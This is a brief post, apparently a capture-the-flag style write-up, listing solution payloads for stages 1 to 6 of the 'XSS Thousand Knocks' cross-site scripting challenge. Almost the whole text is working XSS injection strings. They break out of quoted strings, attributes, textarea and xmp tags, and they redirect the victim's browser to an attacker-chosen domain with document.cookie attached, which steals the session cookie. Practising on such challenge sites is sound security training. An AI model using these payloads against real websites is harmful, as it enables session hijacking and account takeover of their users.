[KnockXss] Stage 1 to 6

XSS Thousand Knocks[link] {} == your domain > ex) http://xss.silnex.kr/ Skip stage url, payload only I open stage 1 to 6 Stage 1 /?location=%22http://example.com/?%22%2Bdocument.cookie Stage 2 /?q=<script>location=”{}?”%2bdocument.cookie</script> Stage 3 /?q=”><script>location=”{}?”+document.cookie</script> Stage 4 /?q=’><script>location='{}?’+document.cookie</script> Stage 5 /?q=</textarea><script>location='{}?’+document.cookie</script> Stage 6 /?q=</xmp><img+src=1+onerror=location='{}?’+document.cookie> Stage 7 to 34 were hidden.